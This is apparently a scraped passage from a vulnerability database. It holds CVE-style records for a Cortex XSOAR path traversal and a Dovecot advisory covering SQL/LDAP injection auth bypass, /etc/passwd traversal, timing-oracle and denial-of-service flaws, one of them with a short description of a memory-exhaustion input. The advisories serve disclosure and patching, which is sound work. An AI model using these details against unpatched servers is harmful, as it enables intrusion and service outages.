          "url": "https://notcve.org/hall/"
        },
        {
          "url": "https://notcve.org/notcve/NotCVE-2026-0014"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.linkedin.com/in/christopherduram/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/67"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[NotCVE-2026-0014] Input Leap 3.0.3 Drag-and-Drop File Transfer Path Traversal Allows Arbitrary File Write Outside the Drop Directory",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0389",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/67",
            "automated": true,
            "contentSha256": "eef29a444ff1983adf3b6e2aff80da54644b68e28ab6ade228df090afd1a5e2b",
            "evidenceScore": 8,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/67",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-09-25T09:00:49Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-10-02T04:57:26Z",
    "dateUpdated": "2026-10-02T04:57:26Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0389"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2026-0270 (GCVE-0-2026-0270)

Vulnerability from cvelistv5 – Published: 2026-06-10 20:59 – Updated: 2026-06-12 03:55
VLAI
Title
Cortex XSOAR: Path Traversal Vulnerability
Summary
A path traversal vulnerability in Palo Alto Networks Cortex XSOAR engine software running on Linux allows an unauthenticated attacker on an adjacent network, with the ability to intercept and manipulate network response traffic via a man-in-the-middle (MITM) attack, to write arbitrary files to the host.
SSVC
Exploitation: none Automatable: no Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-06-11 00:00 UTC
CWE
  • CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
References
Impacted products
Vendor Product Version
Palo Alto Networks Cortex XSOAR Affected: 8.13 , < 8.13.0.11 (custom)
    cpe:2.3:a:palo_alto_networks:cortex_xsoar:*:*:*:*:*:Linux:*:*
Create a notification for this product.
Palo Alto Networks Cortex XSOAR Affected: 8.12.0 (custom)
Affected: 8.11.0 (custom)
Affected: 8.10.0 (custom)
Unaffected: 6.14.0 (custom)
Unaffected: 6.13.0 (custom)
Unaffected: 6.12.0 (custom)
    cpe:2.3:a:palo_alto_networks:cortex_xsoar:*:*:*:*:*:*:*:*
    cpe:2.3:a:palo_alto_networks:cortex_xsoar:*:*:*:*:*:*:*:*
    cpe:2.3:a:palo_alto_networks:cortex_xsoar:*:*:*:*:*:*:*:*
Create a notification for this product.
Date Public
2026-06-10 16:00
Show details on NVD website

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-0270",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-06-11T00:00:00+00:00",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-06-12T03:55:34.115Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "platforms": [
            "Linux"
          ],
          "product": "Cortex XSOAR",
          "vendor": "Palo Alto Networks",
          "versions": [
            {
              "changes": [
                {
                  "at": "8.13.0.11",
                  "status": "unaffected"
                }
              ],
              "lessThan": "8.13.0.11",
              "status": "affected",
              "version": "8.13",
              "versionType": "custom"
            }
          ]
        },
        {
          "defaultStatus": "unaffected",
          "product": "Cortex XSOAR",
          "vendor": "Palo Alto Networks",
          "versions": [
            {
              "status": "affected",
              "version": "8.12.0",
              "versionType": "custom"
            },
            {
              "status": "affected",
              "version": "8.11.0",
              "versionType": "custom"
            },
            {
              "status": "affected",
              "version": "8.10.0",
              "versionType": "custom"
            },
            {
              "status": "unaffected",
              "version": "6.14.0",
              "versionType": "custom"
            },
            {
              "status": "unaffected",
              "version": "6.13.0",
              "versionType": "custom"
            },
            {
              "status": "unaffected",
              "version": "6.12.0",
              "versionType": "custom"
            }
          ]
        }
      ],
      "configurations": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "No special configuration is required."
            }
          ],
          "value": "No special configuration is required."
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:a:palo_alto_networks:cortex_xsoar:*:*:*:*:*:Linux:*:*",
                  "versionEndExcluding": "8.13.0.11",
                  "versionStartIncluding": "8.13.0",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            },
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:a:palo_alto_networks:cortex_xsoar:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "8.12.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:a:palo_alto_networks:cortex_xsoar:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "8.11.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:a:palo_alto_networks:cortex_xsoar:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "8.10.0",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ],
          "operator": "OR"
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Palo Alto Networks thanks the internal security team for discovering and reporting this issue."
        }
      ],
      "datePublic": "2026-06-10T16:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "\u003cp\u003e\u003c/p\u003eA path traversal vulnerability in Palo Alto Networks Cortex XSOAR engine software running on Linux  allows an unauthenticated attacker on an adjacent network, with the ability to intercept and manipulate network response traffic via a man-in-the-middle (MITM) attack, to write arbitrary files to the host.\u003cbr\u003e\u003cp\u003e\u003c/p\u003e"
            }
          ],
          "value": "A path traversal vulnerability in Palo Alto Networks Cortex XSOAR engine software running on Linux  allows an unauthenticated attacker on an adjacent network, with the ability to intercept and manipulate network response traffic via a man-in-the-middle (MITM) attack, to write arbitrary files to the host."
        }
      ],
      "exploits": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "Palo Alto Networks is not aware of any malicious exploitation of this issue."
            }
          ],
          "value": "Palo Alto Networks is not aware of any malicious exploitation of this issue."
        }
      ],
      "impacts": [
        {
          "capecId": "CAPEC-88",
          "descriptions": [
            {
              "lang": "en",
              "value": "CAPEC-88 OS Command Injection"
            }
          ]
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "Automatable": "YES",
            "Recovery": "USER",
            "Safety": "NOT_DEFINED",
            "attackComplexity": "HIGH",
            "attackRequirements": "PRESENT",
            "attackVector": "ADJACENT",
            "baseScore": 4.8,
            "baseSeverity": "MEDIUM",
            "exploitMaturity": "UNREPORTED",
            "privilegesRequired": "NONE",
            "providerUrgency": "AMBER",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "PASSIVE",
            "valueDensity": "DIFFUSE",
            "vectorString": "CVSS:4.0/AV:A/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U/AU:Y/R:U/V:D/RE:M/U:Amber",
            "version": "4.0",
            "vulnAvailabilityImpact": "HIGH",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "HIGH",
            "vulnerabilityResponseEffort": "MODERATE"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22 Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-06-10T20:59:00.350Z",
        "orgId": "d6c1279f-00f6-4ef7-9217-f89ffe703ec0",
        "shortName": "palo_alto"
      },
      "references": [
        {
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://security.paloaltonetworks.com/CVE-2026-0270"
        },
        {
          "name": "CVE-2007-4559: Python tarfile module path traversal",
          "tags": [
            "related",
            "third-party-advisory"
          ],
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2007-4559"
        }
      ],
      "solutions": [
        {
          "lang": "eng",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003eVersion\u003cbr\u003e\u003c/th\u003e\u003cth\u003eMinor Version\u003cbr\u003e\u003c/th\u003e\u003cth\u003eSuggested Solution\u003cbr\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\n                                    \u003ctd\u003eCortex XSOAR 8.13 on Linux\u003cbr\u003e\u003c/td\u003e\n                                    \u003ctd\u003e8.13.0\u003c/td\u003e\n                                    \u003ctd\u003eUpgrade to 8.13.0.11 or later.\u003c/td\u003e\n                                \u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e"
            }
          ],
          "value": "VERSION                      MINOR VERSION   SUGGESTED SOLUTION\nCortex XSOAR 8.13 on Linux   8.13.0          Upgrade to 8.13.0.11 or later."
        }
      ],
      "source": {
        "discovery": "INTERNAL"
      },
      "timeline": [
        {
          "lang": "eng",
          "time": "2026-06-10T16:00:00.000Z",
          "value": "Initial publication"
        }
      ],
      "title": "Cortex XSOAR: Path Traversal Vulnerability",
      "workarounds": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "Palo Alto Networks is not aware of any malicious exploitation of these issues."
            }
          ],
          "value": "Palo Alto Networks is not aware of any malicious exploitation of these issues."
        }
      ],
      "x_affectedList": [
        "Cortex XSOAR 8.13.0"
      ],
      "x_generator": {
        "engine": "Vulnogram 0.0.9"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "d6c1279f-00f6-4ef7-9217-f89ffe703ec0",
    "assignerShortName": "palo_alto",
    "cveId": "CVE-2026-0270",
    "datePublished": "2026-06-10T20:59:00.350Z",
    "dateReserved": "2025-11-03T20:44:30.311Z",
    "dateUpdated": "2026-06-12T03:55:34.115Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0235

Vulnerability from gna-1988 – Published: 2026-09-08 08:13 – Updated: 2026-09-11 11:15
VLAI
Title
Dovecot Security Advisory OXDC-2026-0001
Summary
Dear subscribers, we're sharing our latest advisory with you and like to thank everyone who contributed in finding and solving those vulnerabilities. This advisory is also published at https://documentation.open-xchange.com/dovecot/security/advisories/html/2026/oxdc-adv-2026-0001.html --- Classification: TLP:GREEN Internal reference: DOV-7830 Type: CWE-1250 (Improper Preservation of Consistency Between Independent Representations of Shared State) Component: core Report confidence: Confirmed Solution status: Fixed by vendor Last affected revision: OX Dovecot Pro core 3.1.0, OX Dovecot CE core 2.4.0 First fixed revision: OX Dovecot CE core 2.4.1 Discovery date: 2025-07-24 Solution date: 2026-03-27 Disclosure date: 2026-03-27 Researcher credits: Erik <erik () broadlux com> CVE: CVE-2025-30189 CVSS: 7.4 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N) Details: v2.4 regression: auth cache broken with several passdb / userdb. When cache is enabled, some passdb/userdb drivers incorrectly cache all users with same cache key, causing wrong cached information to be used for these users. Risk: After cached login, all subsequent logins are for same user. No publicly available exploits are known. Solution: Install fixed version or disable caching either globally or for the impacted passdb/userdb drivers. --- Internal reference: DOV-8349 Type: CWE-20 (Improper Input Validation) Component: core Report confidence: Confirmed Solution status: Fixed by vendor Last affected revision: OX Dovecot Pro core 3.1.0, OX Dovecot CE core 2.4.0 First fixed revision: OX Dovecot Pro core 3.1.2, OX Dovecot CE core 2.4.3 Discovery date: 2025-11-04 Solution date: 2026-03-27 Disclosure date: 2026-03-27 CVE: CVE-2025-59028 CVSS: 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) Details: Invalid base64 authentication can cause DoS for other logins. When sending invalid base64 SASL data, login process is disconnected from the auth server, causing all active authentication sessions to fail. Risk: Invalid BASE64 data can be used to DoS a vulnerable server to break concurrent logins. No publicly available exploits are known. Solution: Install fixed version or disable concurrency in login processes (heavy perfomance penalty on large deployments). --- Internal reference: DOV-8508 Type: CWE-20 (Improper Input Validation) Component: core Report confidence: Confirmed Solution status: Fixed by vendor Last affected revision: OX Dovecot Pro core 3.1.0, OX Dovecot CE core 2.4.0 First fixed revision: OX Dovecot CE core 2.4.3, OX Dovecot Pro core 3.1.3 Discovery date: 2025-11-29 Solution date: 2026-03-27 Disclosure date: 2026-03-27 CVE: CVE-2025-59032 CVSS: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) Details: v2.4/v3.1 regression: Pigeonhole: ManageSieve panic occurs with sieve-connect as a client. ManageSieve AUTHENTICATE command crashes when using literal as SASL initial response. Risk: This can be used to crash ManageSieve service repeatedly, making it unavailable for other users. No publicly available exploits are known. Solution: Control access to ManageSieve port, or disable the service if it's not needed. Alternatively upgrade to a fixed version. --- Internal reference: DOV-8584 Type: CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) Component: core Report confidence: Confirmed Solution status: Fixed by vendor Last affected revision: OX Dovecot Pro core 2.3.0 First fixed revision: OX Dovecot CE core 2.4.3, OX Dovecot Pro core 3.1.3, OX Dovecot Pro core 2.3.22.1 Discovery date: 2025-12-29 Solution date: 2026-03-27 Disclosure date: 2026-03-27 Researcher credits: cavid@yeswehack CVE: CVE-2025-59031 CVSS: 4.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N) Details: decode2text.sh OOXML extraction may follow symlinks and read unintended files during indexing. Dovecot has provided a script to use for attachment to text conversion. This script unsafely handles zip-style attachments. Risk: Attacker can use specially crafted OOXML documents to cause unintended files on the system to be indexed and subsequently ending up in FTS indexes. No publicly available exploits are known. Solution: Do not use the provided script, instead, use something else like FTS tika. --- Internal reference: DOV-8591 Type: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) Component: core Report confidence: Confirmed Solution status: Fixed by vendor Last affected revision: OX Dovecot Pro core 2.3.0 First fixed revision: OX Dovecot Pro core 3.1.0, OX Dovecot CE core 2.4.0 Discovery date: 2026-01-07 Solution date: 2026-03-27 Disclosure date: 2026-03-27 Researcher credits: strokep@yeswehack CVE: CVE-2026-0394 CVSS: 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) Details: auth: Path traversal in passwd-file passdb using `%d` (domain) escapes base directory and opens `/etc/passwd`Pre-auth path traversal in passwd-file passdb using `%d` (domain) escapes base directory and opens `/etc/passwd`. When dovecot has been configured to use per-domain passwd files, and they are placed one path component above /etc, or slash has been added to allowed characters, path traversal can happen if the domain component is directory partial. Risk: This allows inadvertently reading /etc/passwd (or some other path which ends with passwd). If this file contains passwords, it can be used to authenticate wrongly, or if this is userdb, it can unexpectly make system users appear valid users. No publicly available exploits are known. Solution: Upgrade to fixed version, or use different authentication scheme that does not rely on paths. Alternatively you can also ensure that the per-domain passwd files are in some other location, such as /etc/dovecot/auth/%d. --- Internal reference: DOV-8775 Type: CWE-90 (Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')) Component: core Report confidence: Confirmed Solution status: Fixed by vendor Last affected revision: OX Dovecot Pro core 3.1.0, OX Dovecot CE core 2.4.0 First fixed revision: OX Dovecot CE core 2.4.3, OX Dovecot Pro core 3.1.4 Discovery date: 2026-02-20 Solution date: 2026-03-27 Disclosure date: 2026-03-27 Researcher credits: cookiejack15@yeswehack CVE: CVE-2026-27860 CVSS: 3.7 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N) Details: v2.4/v3.1 regression: auth-ldap is not escaping usernames. If auth_username_chars is empty, it is possible to inject arbitrary LDAP filter to Dovecot's LDAP authentication. Risk: This leads to potentially bypassing restrictions and allows probing of LDAP structure. No publicly available exploits are known. Solution: Do not clear out auth_username_chars, or install fixed version. --- Internal reference: DOV-8781 Type: CWE-89 (Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) Component: core Report confidence: Confirmed Solution status: Fixed by vendor Last affected revision: OX Dovecot Pro core 3.1.0, OX Dovecot CE core 2.4.0 First fixed revision: OX Dovecot CE core 2.4.3, OX Dovecot Pro core 3.1.4 Discovery date: 2026-02-23 Solution date: 2026-03-27 Disclosure date: 2026-03-27 Researcher credits: whisperer@yeswehack CVE: CVE-2026-24031 CVSS: 7.7 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L) Details: v2.4/v3.1 regression: SQL injection allows bypassing authentication. Dovecot SQL based authentication can be bypassed when auth_username_chars is cleared by admin. Risk: This vulnerability allows bypassing authentication for any user and user enumeration. No publicly available exploits are known. Solution: Do not clear auth_username_chars. If this is not possible, install latest fixed version. --- Internal reference: DOV-8787 Type: CWE-400 (Uncontrolled Resource Consumption) Component: core Report confidence: Confirmed Solution status: Fixed by vendor Last affected revision: OX Dovecot Pro core 3.0.2, OX Dovecot Pro core 3.1.0, OX Dovecot CE core 2.4.0 First fixed revision: OX Dovecot Pro core 3.0.5, OX Dovecot CE core 2.4.3, OX Dovecot Pro core 3.1.4 Discovery date: 2026-02-24 Solution date: 2026-03-27 Disclosure date: 2026-03-27 Researcher credits: djvirus@yeswehack CVE: CVE-2026-27859 CVSS: 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) Details: v3.0.2+ regression: Message headers MIME parameter parsing can cause excessive CPU usage. A mail message containing excessive amount of RFC 2231 MIME parameters causes LMTP to use too much CPU. Risk: A suitably formatted mail message causes mail delivery process to consume large amounts of CPU time. No publicly available exploits are known. Solution: Use MTA capabilities to limit RFC 2231 MIME parameters in mail messages, or upgrade to fixed version where the processing is limited. --- Internal reference: DOV-8816 Type: CWE-400 (Uncontrolled Resource Consumption) Component: core Report confidence: Confirmed Solution status: Fixed by vendor Last affected revision: OX Dovecot Pro core 2.3.0 First fixed revision: OX Dovecot Pro core 3.0.5, OX Dovecot CE core 2.4.3, OX Dovecot Pro core 3.1.4, OX Dovecot Pro core 2.3.22.1 Discovery date: 2026-02-27 Solution date: 2026-03-27 Disclosure date: 2026-03-27 Researcher credits: whisperer@yeswehack CVE: CVE-2026-27857 CVSS: 4.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L) Details: imap-login: Excessive memory usage DoS. Sending "NOOP (((...)))" command with 4000 parenthesis open+close results in ~1MB extra memory usage. Longer commands will result in client disconnection. This 1 MB can be left allocated for longer time periods by not sending the command ending LF. So attacker could connect possibly from even a single IP and create 1000 connections to allocate 1 GB of memory, which would likely result in reaching VSZ limit and killing the process and its other proxied connections. Risk: Attacker could connect possibly from even a single IP and create 1000 connections to allocate 1 GB of memory, which would likely result in reaching VSZ limit and killing the process and its other proxied connections. No publicly available exploits are known. Solution: Install fixed version, there is no other remediation. --- Internal reference: DOV-8818 Type: CWE-400 (Uncontrolled Resource Consumption) Component: core Report confidence: Confirmed Solution status: Fixed by vendor Last affected revision: OX Dovecot Pro core 2.3.0, OX Dovecot Pro core 3.1.0, OX Dovecot CE core 2.4.0 First fixed revision: OX Dovecot Pro core 3.0.5, OX Dovecot CE core 2.4.3, OX Dovecot Pro core 3.1.4, OX Dovecot Pro core 2.3.22.1 Discovery date: 2026-02-28 Solution date: 2026-03-27 Disclosure date: 2026-03-27 Researcher credits: ilyar@yeswehack CVE: CVE-2026-27858 CVSS: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) Details: managesieve-login out-of-memory DoS. Attacker can send a specifically crafted message before authentication that causes managesieve to allocate large amount of memory. Risk: Attacker can force managesieve-login to be unavailable by repeatedly crashing the process. No publicly available exploits are known. Solution: Protect access to managesieve protocol, or install fixed version. --- Internal reference: DOV-8830 Type: CWE-287 (Improper Authentication) Component: core Report confidence: Confirmed Solution status: Fixed by vendor Last affected revision: OX Dovecot Pro core 2.3.0 First fixed revision: OX Dovecot Pro core 3.0.5, OX Dovecot CE core 2.4.3, OX Dovecot Pro core 3.1.4, OX Dovecot Pro core 2.3.22.1 Discovery date: 2026-03-04 Solution date: 2026-03-27 Disclosure date: 2026-03-27 Researcher credits: bksparajuli@yeswehack CVE: CVE-2026-27856 CVSS: 7.4 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N) Details: doveadm: Credentials verified without timing safety. Doveadm credentials are verified using direct comparison which is susceptible to timing oracle attack. An attacker can use this to determine the configured credentials. Risk: Figuring out the credential will le
Severity
No CVSS data available.
Impacted products
Credits
Relationships
reference GCVE-1988-2026-0235 (this record)

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Security Advisory",
          "vendor": "Dovecot",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Aki Tuomi"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Dear subscribers,\n\nwe\u0027re sharing our latest advisory with you and like to thank everyone who contributed in finding and solving those \nvulnerabilities. This advisory is also published at \nhttps://documentation.open-xchange.com/dovecot/security/advisories/html/2026/oxdc-adv-2026-0001.html\n\n\n---\n\n\nClassification: TLP:GREEN\n\nInternal reference: DOV-7830\nType: CWE-1250 (Improper Preservation of Consistency Between Independent Representations of Shared State)\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nLast affected revision: OX Dovecot Pro core 3.1.0, OX Dovecot CE core 2.4.0\nFirst fixed revision: OX Dovecot CE core 2.4.1\nDiscovery date: 2025-07-24\nSolution date: 2026-03-27\nDisclosure date: 2026-03-27\nResearcher credits: Erik  \u003cerik () broadlux com\u003e\nCVE: CVE-2025-30189\nCVSS: 7.4 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N)\n\nDetails:\nv2.4 regression: auth cache broken with several passdb / userdb. When cache is enabled, some passdb/userdb drivers \nincorrectly cache all users with same cache key, causing wrong cached information to be used for these users.\n\nRisk:\nAfter cached login, all subsequent logins are for same user. No publicly available exploits are known.\n\nSolution:\nInstall fixed version or disable caching either globally or for the impacted passdb/userdb drivers.\n\n\n\n---\n\n\n\nInternal reference: DOV-8349\nType: CWE-20 (Improper Input Validation)\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nLast affected revision: OX Dovecot Pro core 3.1.0, OX Dovecot CE core 2.4.0\nFirst fixed revision: OX Dovecot Pro core 3.1.2, OX Dovecot CE core 2.4.3\nDiscovery date: 2025-11-04\nSolution date: 2026-03-27\nDisclosure date: 2026-03-27\nCVE: CVE-2025-59028\nCVSS: 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L)\n\nDetails:\nInvalid base64 authentication can cause DoS for other logins. When sending invalid base64 SASL data, login process is \ndisconnected from the auth server, causing all active authentication sessions to fail.\n\nRisk:\nInvalid BASE64 data can be used to DoS a vulnerable server to break concurrent logins. No publicly available exploits \nare known.\n\nSolution:\nInstall fixed version or disable concurrency in login processes (heavy perfomance penalty on large deployments).\n\n\n\n---\n\n\n\nInternal reference: DOV-8508\nType: CWE-20 (Improper Input Validation)\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nLast affected revision: OX Dovecot Pro core 3.1.0, OX Dovecot CE core 2.4.0\nFirst fixed revision: OX Dovecot CE core 2.4.3, OX Dovecot Pro core 3.1.3\nDiscovery date: 2025-11-29\nSolution date: 2026-03-27\nDisclosure date: 2026-03-27\nCVE: CVE-2025-59032\nCVSS: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)\n\nDetails:\nv2.4/v3.1 regression: Pigeonhole: ManageSieve panic occurs with sieve-connect as a client. ManageSieve AUTHENTICATE \ncommand crashes when using literal as SASL initial response.\n\nRisk:\nThis can be used to crash ManageSieve service repeatedly, making it unavailable for other users. No publicly available \nexploits are known.\n\nSolution:\nControl access to ManageSieve port, or disable the service if it\u0027s not needed. Alternatively upgrade to a fixed version.\n\n\n\n---\n\n\n\nInternal reference: DOV-8584\nType: CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor)\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nLast affected revision: OX Dovecot Pro core 2.3.0\nFirst fixed revision: OX Dovecot CE core 2.4.3, OX Dovecot Pro core 3.1.3, OX Dovecot Pro core 2.3.22.1\nDiscovery date: 2025-12-29\nSolution date: 2026-03-27\nDisclosure date: 2026-03-27\nResearcher credits: cavid@yeswehack\nCVE: CVE-2025-59031\nCVSS: 4.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N)\n\nDetails:\ndecode2text.sh OOXML extraction may follow symlinks and read unintended files during indexing. Dovecot has provided a \nscript to use for attachment to text conversion. This script unsafely handles zip-style attachments.\n\nRisk:\nAttacker can use specially crafted OOXML documents to cause unintended files on the system to be indexed and \nsubsequently ending up in FTS indexes. No publicly available exploits are known.\n\nSolution:\nDo not use the provided script, instead, use something else like FTS tika.\n\n\n\n---\n\n\n\nInternal reference: DOV-8591\nType: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027))\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nLast affected revision: OX Dovecot Pro core 2.3.0\nFirst fixed revision: OX Dovecot Pro core 3.1.0, OX Dovecot CE core 2.4.0\nDiscovery date: 2026-01-07\nSolution date: 2026-03-27\nDisclosure date: 2026-03-27\nResearcher credits: strokep@yeswehack\nCVE: CVE-2026-0394\nCVSS: 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)\n\nDetails:\nauth: Path traversal in passwd-file passdb using `%d` (domain) escapes base directory and opens `/etc/passwd`Pre-auth \npath traversal in passwd-file passdb using `%d` (domain) escapes base directory and opens `/etc/passwd`. When dovecot \nhas been configured to use per-domain passwd files, and they are placed one path component above /etc, or slash has \nbeen added to allowed characters, path traversal can happen if the domain component is directory partial.\n\nRisk:\nThis allows inadvertently reading /etc/passwd (or some other path which ends with passwd). If this file contains \npasswords, it can be used to authenticate wrongly, or if this is userdb, it can unexpectly make system users appear \nvalid users.  No publicly available exploits are known.\n\nSolution:\nUpgrade to fixed version, or use different authentication scheme that does not rely on paths. Alternatively you can \nalso ensure that the per-domain passwd files are in some other location, such as /etc/dovecot/auth/%d.\n\n\n\n---\n\n\n\nInternal reference: DOV-8775\nType: CWE-90 (Improper Neutralization of Special Elements used in an LDAP Query (\u0027LDAP Injection\u0027))\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nLast affected revision: OX Dovecot Pro core 3.1.0, OX Dovecot CE core 2.4.0\nFirst fixed revision: OX Dovecot CE core 2.4.3, OX Dovecot Pro core 3.1.4\nDiscovery date: 2026-02-20\nSolution date: 2026-03-27\nDisclosure date: 2026-03-27\nResearcher credits: cookiejack15@yeswehack\nCVE: CVE-2026-27860\nCVSS: 3.7 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N)\n\nDetails:\nv2.4/v3.1 regression: auth-ldap is not escaping usernames. If auth_username_chars is empty, it is possible to inject \narbitrary LDAP filter to Dovecot\u0027s LDAP authentication.\n\nRisk:\nThis leads to potentially bypassing restrictions and allows probing of LDAP structure. No publicly available exploits \nare known.\n\nSolution:\nDo not clear out auth_username_chars, or install fixed version.\n\n\n\n---\n\n\n\nInternal reference: DOV-8781\nType: CWE-89 (Improper Neutralization of Special Elements used in an SQL Command (\u0027SQL Injection\u0027))\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nLast affected revision: OX Dovecot Pro core 3.1.0, OX Dovecot CE core 2.4.0\nFirst fixed revision: OX Dovecot CE core 2.4.3, OX Dovecot Pro core 3.1.4\nDiscovery date: 2026-02-23\nSolution date: 2026-03-27\nDisclosure date: 2026-03-27\nResearcher credits: whisperer@yeswehack\nCVE: CVE-2026-24031\nCVSS: 7.7 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L)\n\nDetails:\nv2.4/v3.1 regression: SQL injection allows bypassing authentication. Dovecot SQL based authentication can be bypassed \nwhen auth_username_chars is cleared by admin.\n\nRisk:\nThis vulnerability allows bypassing authentication for any user and user enumeration. No publicly available exploits \nare known.\n\nSolution:\nDo not clear auth_username_chars. If this is not possible, install latest fixed version.\n\n\n\n---\n\n\n\nInternal reference: DOV-8787\nType: CWE-400 (Uncontrolled Resource Consumption)\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nLast affected revision: OX Dovecot Pro core 3.0.2, OX Dovecot Pro core 3.1.0, 